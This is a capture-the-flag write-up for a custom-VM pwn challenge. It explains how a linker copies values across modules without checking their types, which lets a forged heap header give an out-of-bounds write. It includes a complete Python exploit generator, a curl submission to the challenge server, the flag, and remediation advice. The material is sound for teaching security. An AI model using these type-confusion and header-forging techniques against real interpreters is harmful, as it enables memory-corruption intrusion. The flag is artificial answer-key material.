Binary Exploitation / Pinaka CTF 2026

Bhargav’s Challenge: The Bow Beyond the Bow

02 Nov 2026 · 9 min read

Trace a cross-module type confusion into forged heap metadata and an out-of-bounds write that releases the protected ASTRA result.

Category: Pwn / Reverse Engineering (custom VM) Target: https://pinaka-m06-bhargava-challenge.onrender.com Flag:

text
PINAKA{the_sharnga_strung_upon_the_pinaka_looses_the_vaishnava_astra}

1. Overview

The player package contains a native host and two sample modules:

FilePurpose
hostx86-64 ELF that parses both module formats, links them, verifies and executes bytecode
samples/bow_demo.pnk1valid gen1 module
samples/bow_demo.srngvalid gen2 module

The host reads a PNK1 ("Pinaka", gen1) module and an SRNG ("Sharnga", gen2) module. It statically verifies each, runs gen1, links gen1's exports into gen2's imports, then runs gen2 over the same memory arena.

The goal is to make the ASTRA opcode release the flag:

text
PINAKA-ASTRA-RELEASED PINAKA{...}

The string PINAKA{the_bow_is_not_strung_by_looking_at_it} inside the binary is a decoy. The real flag comes from the host's PINAKA_FLAG environment variable.


2. Host internals

host is a non-stripped PIE. The relevant functions are:

SymbolRole
mainparses both modules, invokes the verifier and linker
verify_codestatic slot-type checker
run_code.isra.0bytecode interpreter over a shared arena

It accepts either:

text
host gen1.pnk1 gen2.srng

or a combined blob on stdin: 4-byte little-endian len1, gen1 bytes, 4-byte len2, gen2 bytes.

2.1 Shared arena

main allocates one shared arena with calloc(0x80008, 1). The arena is addressed as an array of 64-bit cells.

At byte offset 0x80000 the host keeps a 32-bit heap top, initialized to 0x40 (in qword units).

An allocation is laid out as:

text
arena[handle]       = length        (object header)
arena[handle + 1]   = data[0]
...
arena[handle + len] = data[len-1]

ALLOC advances the heap top to handle + length + 1.

2.2 ASTRA opcode

Opcode 8 checks:

text
arena[0x7fc00] == 0x5348415247410001

Byte offset 0x7fc00 is qword index 0xFF80.

ALLOC enforces new_top <= 0xFF80, so ordinary allocated objects can only write indices below 0xFF80. ASTRA sits exactly one qword beyond the maximum legal allocation end. The exploit is to bypass this one-qword boundary with a forged object header.

If the check succeeds, run_code returns 1, and main prints:

c
printf("PINAKA-ASTRA-RELEASED %s\n", getenv("PINAKA_FLAG"));

3. Module formats

Both formats use an 8-byte instruction encoding:

OffsetSizeField
01opcode
11operand A (dst / base)
21operand B (src / index)
31operand C (src2 / value)
44signed little-endian immediate / constant index

Slot types used by the verifier:

ValueType
1INT
2PTR
other / 0untyped / unused

3.1 PNK1 (gen1)

Header, 16 bytes:

OffsetTypeMeaning
0x004 bytesmagic PNK1
0x04u16version = 1
0x06u16A = slot-count / type-block length
0x08u16B = constant count
0x0au16C = instruction count
0x0cu16D = export count
0x0eu16reserved / ignored

Body, in order:

text
A bytes              slot types, one byte per slot
B * 8 bytes          uint64 little-endian constants
C * 8 bytes          instruction records
D * 10 bytes         exports: 8-byte name + u16 slot

Total size: 16 + A + 8B + 8C + 10D.

3.2 SRNG (gen2)

Header, 16 bytes:

OffsetTypeMeaning
0x004 bytesmagic SRNG
0x04u16version = 2
0x06u16F = type-alphabet length
0x08u16G = slot count
0x0au16H = constant count
0x0cu16I = import count
0x0eu16J = instruction count

Body, in order:

text
F bytes              type alphabet
G * 2 bytes          u16 indices into the alphabet, one per slot
H * 8 bytes          uint64 little-endian constants
I * 10 bytes         imports: 8-byte name + u16 slot
J * 8 bytes          instruction records

Total size: 16 + F + 2G + 8H + 10I + 8J.

For example, the sample gen2 uses alphabet [1, 2] and slot indices [0, 1, 0, 0], yielding slot types [INT, PTR, INT, INT].


4. VM instruction set

OpcodeMnemonicSemantics
0HALTstop, return 0
1LDC dst, cidxslots[dst] = constants[cidx] (dst must be INT)
2MOV dst, srcslots[dst] = slots[src] (types must match)
3ADD dst, src1, src2slots[dst] = slots[src1] + slots[src2] (all INT)
4ALLOC dst, cidxallocate constants[cidx] bytes; slots[dst] = handle (dst PTR)
5LOAD dst, base, idxslots[dst] = arena[slots[base] + 1 + slots[idx]]
6STORE base, idx, valarena[slots[base] + 1 + slots[idx]] = slots[val]
7invalidfault
8ASTRAif magic is present at arena index 0xFF80, return 1

Static checks enforced by verify_code:

  • Every referenced slot index is within range.
  • LDC constant index is within range, destination is INT.
  • MOV source and destination have the same declared type.
  • ADD operands and destination are INT.
  • ALLOC destination is PTR.
  • LOAD destination is INT, base is PTR, index is INT.
  • STORE base is PTR, index and value are INT.

Runtime checks enforced by run_code:

  • ALLOC: length must be non-negative and heaptop + length + 1 <= 0xFF80.
  • LOAD / STORE: base handle must be <= 0xffff, index must be within the header's length, and base + index + 1 <= 0xffff.

5. The linking bug

After running gen1, main builds gen2's initial slot state by matching import names against gen1's export names:

text
gen2 import "name" -> slot S
gen1 export "name" -> slot T
gen2_slots[S] = gen1_slots[T]
gen2_mask[S]  = 1

The link copies the raw 64-bit value and does not check types across the module boundary. This is the key bug.

Within one module, the verifier prevents loading an arbitrary integer into a PTR slot. Across the link, however, gen1 can export an INT constant, and gen2 can declare the corresponding import slot as PTR. The arbitrary integer becomes a usable pointer handle.


6. Exploit strategy

We need to write the magic value at arena index 0xFF80 and execute ASTRA.

Normal allocation is capped such that no allocated object reaches 0xFF80. But STORE trusts the object header at arena[base]. If we can forge an object header at 0xFF7F with length 1, then:

text
arena[0xFF7F + 1 + 0] = arena[0xFF80]

is a perfectly valid STORE as far as the interpreter is concerned.

Plan:

  1. gen1 exports the arbitrary handle 0xFF7F as an INT value.
  2. gen2 declares its import slot as PTR, receiving 0xFF7F from the linker.
  3. Allocate one object with length 0xFF3F at handle 0x40.
    • Data spans 0x41 .. 0xFF7F.
    • New heap top becomes 0xFF80, exactly the maximum allowed.
  4. Store the value 1 at data index 0xFF3E.
    • Absolute index: 0x40 + 1 + 0xFF3E = 0xFF7F.
    • This forges an object header at handle 0xFF7F with length 1.
  5. Store the ASTRA magic 0x5348415247410001 through the forged object:
    • base 0xFF7F, index 0, value magic.
    • Absolute index: 0xFF7F + 1 + 0 = 0xFF80.
  6. Execute opcode 8. The check succeeds and the flag is released.

6.1 gen1 module

Only needs to export 0xFF7F:

text
slots:   [ INT ]
types:   1
consts:  [ 0xFF7F ]
code:
  LDC slot0, const0
  HALT
exports:
  "ptr\0\0\0\0\0" -> slot0

6.2 gen2 module

text
alphabet: [ 1 (INT), 2 (PTR) ]
slots:    [ PTR import, PTR allocated, INT index, INT one, INT magic, INT zero ]
indices:  [ 1, 1, 0, 0, 0, 0 ]

consts:
  0: 0xFF3F
  1: 0xFF3E
  2: 1
  3: 0x5348415247410001
  4: 0

imports:
  "ptr\0\0\0\0\0" -> slot0

code:
  ALLOC slot1, const0                  # length 0xFF3F at handle 0x40
  LDC   slot2, const1                  # 0xFF3E
  LDC   slot3, const2                  # 1
  STORE base=slot1, index=slot2, val=slot3
                                       # arena[0xFF7F] = 1 (forged length)
  LDC   slot4, const3                  # ASTRA magic
  LDC   slot5, const4                  # 0
  STORE base=slot0, index=slot5, val=slot4
                                       # arena[0xFF80] = magic
  ASTRA
  HALT

7. Generator

python
#!/usr/bin/env python3
import struct


def pnk1(consts, instrs, types, exports):
    A, B, C, D = len(types), len(consts), len(instrs), len(exports)
    out = bytearray()
    out += b"PNK1" + struct.pack("<HHHHHH", 1, A, B, C, D, 0)
    out += types
    for c in consts:
        out += struct.pack("<Q", c & (2**64 - 1))
    for ins in instrs:
        assert len(ins) == 8
        out += ins
    for name, slot in exports:
        assert len(name) == 8
        out += name + struct.pack("<H", slot)
    return bytes(out)


def srng(alphabet, slot_types, consts, imports, instrs):
    F, G = len(alphabet), len(slot_types)
    H, I, J = len(consts), len(imports), len(instrs)
    out = bytearray()
    out += b"SRNG" + struct.pack("<HHHHHH", 2, F, G, H, I, J)
    out += alphabet
    for t in slot_types:
        out += struct.pack("<H", t)
    for c in consts:
        out += struct.pack("<Q", c & (2**64 - 1))
    for name, slot in imports:
        assert len(name) == 8
        out += name + struct.pack("<H", slot)
    for ins in instrs:
        assert len(ins) == 8
        out += ins
    return bytes(out)


# gen1: export INT 0xFF7F under the name "ptr"
g1_types = bytes([1])
g1_consts = [0xFF7F]
g1_instrs = [
    bytes([1, 0, 0, 0]) + struct.pack("<i", 0),  # LDC slot0, const0
    bytes(8),                                     # HALT
]
g1_exports = [(b"ptr\0\0\0\0\0", 0)]

open("exploit.pnk1", "wb").write(
    pnk1(g1_consts, g1_instrs, g1_types, g1_exports)
)

MAGIC = 0x5348415247410001

g2_alphabet = bytes([1, 2])            # 1 = INT, 2 = PTR
g2_slot_types = [1, 1, 0, 0, 0, 0]    # PTR, PTR, INT, INT, INT, INT
g2_consts = [0xFF3F, 0xFF3E, 1, MAGIC, 0]
g2_imports = [(b"ptr\0\0\0\0\0", 0)]

g2_instrs = [
    bytes([4, 1, 0, 0]) + struct.pack("<i", 0),  # ALLOC slot1, const0
    bytes([1, 2, 0, 0]) + struct.pack("<i", 1),  # LDC slot2, const1
    bytes([1, 3, 0, 0]) + struct.pack("<i", 2),  # LDC slot3, const2
    bytes([6, 1, 2, 3]) + struct.pack("<i", 0),  # forge header at 0xFF7F
    bytes([1, 4, 0, 0]) + struct.pack("<i", 3),  # LDC slot4, magic
    bytes([1, 5, 0, 0]) + struct.pack("<i", 4),  # LDC slot5, 0
    bytes([6, 0, 5, 4]) + struct.pack("<i", 0),  # write magic at 0xFF80
    bytes([8, 0, 0, 0]) + struct.pack("<i", 0),  # ASTRA
    bytes(8),                                     # HALT
]

open("exploit.srng", "wb").write(
    srng(g2_alphabet, g2_slot_types, g2_consts, g2_imports, g2_instrs)
)

print("wrote exploit.pnk1 and exploit.srng")

Local test:

console
$ PINAKA_FLAG='PINAKA{test_flag_works}' ./host exploit.pnk1 exploit.srng
PINAKA-ASTRA-RELEASED PINAKA{test_flag_works}

8. Submission

bash
python3 /tmp/opencode/make_bow.py
G1=$(base64 -w0 exploit.pnk1)
G2=$(base64 -w0 exploit.srng)

curl -sS -X POST \
  'https://pinaka-m06-bhargava-challenge.onrender.com/bhargava/string-the-bow' \
  -H 'Content-Type: application/json' \
  --data "{\"gen1_b64\":\"$G1\",\"gen2_b64\":\"$G2\"}"

Response:

json
{
  "flag": "PINAKA{the_sharnga_strung_upon_the_pinaka_looses_the_vaishnava_astra}",
  "host_output": "PINAKA-ASTRA-RELEASED PINAKA{the_sharnga_strung_upon_the_pinaka_looses_the_vaishnava_astra}",
  "proclamation": "Parashurama lowers the Sharnga: the bow is strung",
  "status": "astra-released"
}

9. Root cause

This is a cross-module type confusion that becomes a heap metadata forgery:

  1. The linker copies raw slot values from gen1 exports into gen2 imports without checking that the source and destination slot types agree.
  2. gen1 can therefore hand gen2 an arbitrary 64-bit value that gen2 treats as a PTR handle.
  3. STORE trusts the object length stored in the arena and does not validate object metadata or allocation provenance.
  4. ASTRA is placed one qword beyond the maximum allocatable range, which invites exactly this kind of forged-header write past the heap limit.

Remediation

  • Enforce matching slot types across the module link boundary.
  • Store heap metadata separately from object contents, or tag/validate object headers.
  • Check that a STORE/LOAD base handle refers to a genuine live allocation, not an arbitrary arena cell.
  • Place the ASTRA sentinel outside the writable arena, or make it unreachable through normal memory operations.
  • Consider a capability-style pointer representation instead of raw integer handles.